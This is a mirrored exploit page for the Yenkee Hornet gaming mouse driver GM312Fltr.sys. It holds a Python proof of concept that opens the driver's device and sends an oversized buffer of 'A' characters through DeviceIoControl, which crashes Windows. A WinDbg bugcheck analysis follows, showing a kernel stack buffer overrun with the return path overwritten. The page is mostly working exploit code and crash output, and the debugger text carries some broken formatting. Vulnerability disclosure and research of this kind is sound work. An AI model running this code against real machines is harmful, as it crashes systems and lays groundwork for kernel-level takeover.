Yenkee Hornet Gaming Mouse – ‘GM312Fltr.sys’ Denial of Service (PoC) - 体验盒子

# Exploit Title: Yenkee Hornet Gaming Mouse - 'GM312Fltr.sys' Denial of Service (PoC)

# Date: 2021/04/07

# Exploit Author: Quadron Research Lab

# Version: all version

# Tested on: Windows 10 x64 HUN/ENG Professional

# Vendor: https://www.yenkee.eu/gaming-mouse-hornet-aim/yms-3029

# Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/GM312Fltr

import ctypes, sys

from ctypes import *

import io

from itertools import product

from sys import argv

devicename = "GM312Fltr"

ioctl = 0x22245C

ioctl_list = '''

0x22245C

0x222440

0x222441

0x222400

0x222404

0x222408

0x222420

0x222424

0x222448

0x222450

0x22245c

0x222460

'''

kernel32 = windll.kernel32

hevDevice = kernel32.CreateFileA("\\\\.\\GM312Fltr", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print ("Not Win! Sorry!")

else:

print ("OPENED!")

buf = 'A' * 2000

bufLength = 2000

kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)

[Bugcheck Analysis]

Fatal System Error 0x000000f7

(0xBEBEA1CAEAF0A2C1,0x0000F80736BC1742,0xFFFF07F8C943E8BD,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

nt!DbgBreakPointWithStatus

fffff807<code>2e1feb90 ccint 3

0 kd !analyze

Connected to Windows 10 19041 x64 target at (Mon Jun 14 204816.370 2021 (UTC + 200)), ptr64 TRUE

Loading Kernel Symbols

...............................................................

................................................................

........................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.

Run !sym noisy before .reload to track down problems loading symbols.

........................................

.............................

Loading User Symbols

.............................................

Loading unloaded module list

........

Bugcheck Analysis

DRIVER_OVERRAN_STACK_BUFFER (f7)

A driver has overrun a stack-based buffer.This overrun could potentially

allow a malicious user to gain control of this machine.

DESCRIPTION

A driver overran a stack-based buffer (or local variable) in a way that would

have overwritten the function's return address and jumped back to an arbitrary

address when the function returned.This is the classic buffer overrun

hacking attack and the system has been brought down to prevent a malicious user

from gaining complete control of it.

Do a kb to get a stack backtrace -- the last routine on the stack before the

buffer overrun handlers and bugcheck call is the one that overran its local

variable(s).

Arguments

Arg1 bebea1caeaf0a2c1, Actual security check cookie from the stack

Arg2 0000f80736bc1742, Expected security check cookie

Arg3 ffff07f8c943e8bd, Complement of the expected security check cookie

Arg4 0000000000000000, zero

Debugging Details

------------------

BUGCHECK_CODEf7

BUGCHECK_P1 bebea1caeaf0a2c1

BUGCHECK_P2 f80736bc1742

BUGCHECK_P3 ffff07f8c943e8bd

BUGCHECK_P4 0

PROCESS_NAMEpythonw.exe

SYMBOL_NAMEGM312Fltr+e1e

MODULE_NAME GM312Fltr

IMAGE_NAMEGM312Fltr.sys

FAILURE_BUCKET_ID0xF7_MISSING_GSFRAME_STACKPTR_ERROR_GM312Fltr!unknown_function

FAILURE_ID_HASH{b8e05604-2a11-789a-ad29-fc4916710f2d}

Followup MachineOwner

---------

0 kd kb

RetAddrArgs to ChildCall Site

fffff807</code>2e312d12fffff807<code>344a4ae0 fffff807</code>2e17d000 00000000<code>00000000 00000000</code>00000000nt!DbgBreakPointWithStatus

fffff807<code>2e3122f600000000</code>00000003 fffff807<code>344a4ae0 fffff807</code>2e20bbc0 00000000<code>000000f7nt!KiBugCheckDebugBreak+0x12

fffff807</code>2e1f6df7fffff807<code>344a5210 00000000</code>00000000 fffff807<code>36bc18c8 fffff807</code>344a51a8nt!KeBugCheck2+0x946

fffff807<code>36bc0e1e00000000</code>000000f7 bebea1ca<code>eaf0a2c1 0000f807</code>36bc1742 ffff07f8<code>c943e8bdnt!KeBugCheckEx+0x107

fffff807</code>36bc0ea7fffff807<code>344a5210 00000000</code>00000000 fffff807<code>344a5748 fffff807</code>344a5720GM312Fltr+0xe1e

fffff807<code>2e1ffbaffffff807</code>36bc0e94 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000GM312Fltr+0xea7

fffff807</code>2e087547fffff807<code>344a5710 00000000</code>00000000 ffffe08b<code>abb1e380 fffff807</code>36bc0b5dnt!RtlpExecuteHandlerForException+0xf

fffff807<code>2e086136ffffe08b</code>abb1dcf8 fffff807<code>344a5e20 ffffe08b</code>abb1dcf8 ffffe30a<code>242183c0nt!RtlDispatchException+0x297

fffff807</code>2e1f7b8200000000<code>00000000 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000nt!KiDispatchException+0x186

fffff807<code>2e1f7b50fffff807</code>2e208da5 00000000<code>ffffffff fffff807</code>2e0c3216 00000000<code>00000010nt!KxExceptionDispatchOnExceptionStack+0x12

fffff807</code>2e208da500000000<code>ffffffff fffff807</code>2e0c3216 00000000<code>00000010 00000000</code>00000246nt!KiExceptionDispatchOnExceptionStackContinue

fffff807<code>2e204ae0ffffe30a</code>1ce27c00 ffffe30a<code>1ce21010 00000000</code>00000000 00000000<code>00000000nt!KiExceptionDispatch+0x125

fffff807</code>2e1fe0c7fffff807<code>2aab9180 000fa40d</code>b19b3dfe ffffe30a<code>27381080 fffff807</code>2eaea710nt!KiGeneralProtectionFault+0x320

fffff807<code>2e1fda767fffe30a</code>29e4bb10 00000000<code>ffffffff 00000000</code>00000000 00000000<code>00000000nt!SwapContext+0x377

fffff807</code>2e00c970ffffe30a<code>00000006 00000000</code>ffffffff 00000000<code>00000000 ffffe30a</code>24218498nt!KiSwapContext+0x76

fffff807<code>2e00be9fffffe30a</code>27381080 fffff807<code>36b819b6 ffffe08b</code>abb1e270 00000000<code>00000000nt!KiSwapThread+0x500

fffff807</code>2e00b743ffffe30a<code>00000034 00000000</code>00000000 ffffe30a<code>23c6d800 ffffe30a</code>273811c0nt!KiCommitThreadWait+0x14f

fffff807<code>36bc0ca2ffffe08b</code>abb1e350 fffff807<code>00000000 00000000</code>00000000 00000000<code>00004100nt!KeWaitForSingleObject+0x233

fffff807</code>36bc0b5dffffffff<code>ff676980 00000000</code>00000000 00000000<code>00000bb8 fffff807</code>35142017GM312Fltr+0xca2

41414141<code>4141414141414141</code>41414141 41414141<code>41414141 41414141</code>41414141 41414141<code>41414141GM312Fltr+0xb5d

41414141</code>4141414141414141<code>41414141 41414141</code>41414141 41414141<code>41414141 41414141</code>414141410x41414141<code>41414141

41414141</code>4141414141414141<code>41414141 41414141</code>41414141 41414141<code>41414141 00000000</code>0020027f0x41414141<code>41414141

41414141</code>4141414141414141<code>41414141 41414141</code>41414141 00000000<code>0020027f 00000000</code>5c4eafe00x41414141<code>41414141

41414141</code>4141414141414141<code>41414141 00000000</code>0020027f 00000000<code>5c4eafe0 00000000</code>000000000x41414141<code>41414141

41414141</code>4141414100000000<code>0020027f 00000000</code>5c4eafe0 00000000<code>00000000 0000ffff</code>00001f800x41414141<code>41414141

00000000</code>0020027f00000000<code>5c4eafe0 00000000</code>00000000 0000ffff<code>00001f80 00000000</code>000000000x41414141<code>41414141

00000000</code>5c4eafe000000000<code>00000000 0000ffff</code>00001f80 00000000<code>00000000 00000000</code>000000000x20027f

00000000<code>000000000000ffff</code>00001f80 00000000<code>00000000 00000000</code>00000000 00000000`00000000MSVCR90!pow+0x4e0